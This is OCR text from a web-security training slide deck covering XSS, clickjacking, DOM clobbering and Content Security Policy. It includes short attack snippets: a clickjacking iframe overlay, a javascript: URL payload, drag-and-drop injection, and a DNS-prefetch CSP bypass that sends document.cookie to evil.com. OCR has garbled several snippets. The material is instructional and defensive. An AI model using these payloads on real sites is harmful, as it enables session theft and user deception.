Secure Web Development —
Attack and Defend Websites from the Perspective
of a Web Developer
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Internal use only — Marcus Niemietz, Hackmanit GmbH Secure Web Development — Page 1



Table of Contents

© Introduction

© Web Application Hacking — Easy

© Web Application Hacking — Difficult 1/2
@ Web Application Hacking — Difficult 2/2
© Secure Coding 1/2

@ Secure Coding 2/2

Internal use only — Marcus Niemietz, Hackmanit GmbH Secure Web Development — Page 3



Web Application Hacking — Easy HTTP, HTML, CSS, XML und das DOM
Social Engineering and Information Disclosure
Logical Flaws
Same-Origin Policy

Document Object Model

\ window |
e.g., main HTML document - e.g., iFframe
doctype document
HTML 5 _ <html>
‘ I;ea;i ‘ ‘ };ij ‘ ~ window.
SICECE =bo V>— frames[0]
—| <iframe src="URL2"
S id="p1" " id=ID1
| <script src="URL1"> }—1 S o
| <img src="URL3" name="bear"> — E }#
img.src=URL3 ‘

| <link src="URLA"> [ ] [ ]
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Web Application Hacking — Easy

Information Leak

HTTP, HTML, CSS, XML und das DOM
Social Engineering and Information Disclosure
Logical Flaws

Same-Origin Policy

@ Session ID in URL
o Leak via referer

e Access with the help of JavaScript
o Question: how can we fix this problem?

Example: phpBB

e http://example.org automatically redirects to
http://example.org/index.php?sid=<SessionID>

e Steal the referer with the help of <img>

o Fake the user agent
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Web Application Hacking — Easy HTTP, HTML, CSS, XML und das DOM
Social Engineering and Information Disclosure
Logical Flaws
Same-Origin Policy

Data Types in JavaScript

’5°-3 // 2

’5°+3 // 53

50040 /)1

50+ +247 [/ B4

"foo’+ +24° |/ food

’foo’+ +’foo’ // fooNaN (Not a Number)
0.1 +0.1//0.2

0.1 + 0.2 // 0.30000000000000004
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Cross-Site Request Forgery

Web Application Hacking — Difficult 1/2 Cross-Site Scripting
Session Hijacking and Session Fixation
Ul Redressing

Cross-Site Scripting

o DOM XSS Wiki

@ URL: http://code.google.com/p/domxsswiki/
@ Regular Expressions

1 /(location\s*x[\[.J1) | CL.N[I\s*x["'T?\sx(

arguments |dialogArguments |innerHTML |write (
1n) 7| open(Dialog) ?| showModalDialog| cookie |
URL | documentURI | baseURI |referrer |name |
opener | parent | top|content |self|frames)\W)

| (localStorage | sessionStorage |Database)/
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Cross-Site Request Forgery
Web Application Hacking — Difficult 1/2 Cross-Site Scripting
Session Hijacking and Session Fixation

Ul Redressing

Cross-Site Scripting

@ http://twitter.com/#!javascript: :Payload

Second fix. Exploitable — g (global match)?

1 (function(g){

> var a=location.href.split ("#!") [1];

3 if (a)d{

4 g.1ocation=g.HBR=a.replace(/:/gi,"");
5 )

6 F

7 ) (window) ;
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http://twitter.com/#!javascript::Payload

Cross-Site Request Forgery

Web Application Hacking — Difficult 1/2 Cross- Scripting
Session Hijacking and Session Fixation
Ul Redressing

Classic Clickjacking

& nttp:// ing.html - Windows ... [.= | /€ nttp://localhost/bing.html - Windows ... [ = | & |[5]

@Qv [&] nttp//tocathostbir +[ 4| x |[[=] Bing @vv [ ] nttpi//tocalhost/bin [ 3 [ x | [ ging
V¢ Favoriten | @ http://localhost/bing.html ¢ Favoriten | @ http://localhost/bing.html
Funny pictures Funny pictures

Click me
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Cross-Site Request Forgery

Web Application Hacking — Difficult 1/2 Cross-Site Scripting
Session Hijacking and Session Fixation
Ul Redressing

Classic Clickjacking

attackers.org

1 <h1>Funny pictures</hl>

<img src="lol.gif">

<button>Click me</button>

<img src="lol.gif">

<iframe style="position:absolute; z-index:1;
opacity:0.0; filter:alpha(opacity=0); left
:-120px; top:95px;" width="300" height
="200" src="http://www.bing.com">

6 </iframe>

[ GV N}

@ https://www.youtube.com/watch?v=Q-RZXz6SP1lo

Internal use only — Marcus Niemietz, Hackmanit GmbH Secure Web Development — Page 186


https://www.youtube.com/watch?v=Q-RZXz6SP1o

Cross-Site Request Forgery

Web Application Hacking — Difficult 1/2 Cross-Site Scripting
Session Hijacking and Session Fixation
Ul Redressing

Classic Clickjacking

Property ‘ Browser

-moz-opacity: 0.50; Firefox <0.9
-khtml-opacity: 0.50; Safari <1.2
filter:alpha(opacity=50) ; Internet Explorer 5, 6, 7

filter:progid:DXImageTransform. | Internet Explorer 8
Microsoft.Alpha(opacity=50) ;
opacity: 0.50; Other browsers
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Cross-Site Request Forgery
Web Application Hacking — Difficult 1/2 Cross-Site Scripting
Session Hijacking and Session Fixation

Ul Redressing

Text injection via Drag-and-Drop

@ Drag and drop data across elements
@ No protection via the SOP

//example.org/dragAndDrop.html

1 <div draggable="true" ondragstart="event.
dataTransfer.setData( text/plain,
malicious code) ;">

2 <h1>Drop me</h1l>

3 </div>

4 <iframe src="//attackers.org/steal.html" style
="border :1px solid;" frameborder="yes">

5 </iframe>
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Cross-Site Request Forgery

Web Application Hacking — Difficult 1/2 Cross-Site Scripting
Session Hijacking and Session Fixation
Ul Redressing

Internet Explorer XSS Filter

Frame Busting-Code

1 <script type="text/javascript">

> if (parent.frames.length > 0){

3 top.location.replace(document.location);
4+ ¥

5 </script>

IE attack with the XSS filter

1 <iframe src="http://www.example.org/?abc=%3
Cscript%20type=%22text/javascript 422%3Eif
"></iframe>
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Web Application Hacking — Difficult 2/2

DOM Clobbering

DOM Clobbering

File Inclusions and Path Traversal
Remote Command and Code Execution
SQL Injections & noSQL

1 <form id="a">
2 <input id="b" />
3 </form>

@ window.a — [object HTMLFormElement]
window.b — [object HTMLInputElement]

@ a.b — [object HTMLInputElement]
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HTML5 sandbox attribute
Content Security Policy
Pentesting Tools

Security Requirements

Secure Coding 2/2 Question Time

Content Security Policy

@ Include of http://evil.example.com/image.png leads to:

JSON via POST

1

2 "csp—report”: {

3 "document—uri”: "http://example.org/page.html”,

4 "referrer”: "http://evil.example.com/haxor.html”,

5 "blocked—uri”: "http://evil.example.com/image.png",

6 "violated—directive”: "default—src 'self'",

7 "original —policy”: "default—src 'self'; report—uri http://example.org/
csp—report.cgi”

8}

9}
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HTML5 sandbox attribute
Content Security Policy
Pentesting Tools

Security Requirements

Secure Coding 2/2 Question Time

CSP Bypass via DNS-Prefetching

@ CSP does not protect you against prefetching attacks

CSP Bypass via DNS-Prefetching

1 document .write("<a href='//+"document.cookie
+".evil.com'></a>");

@ Question: how does the CSP bypass work? Which HTTP
header protects you?

Internal use only — Marcus Niemietz, Hackmanit GmbH Secure Web Development — Page 421



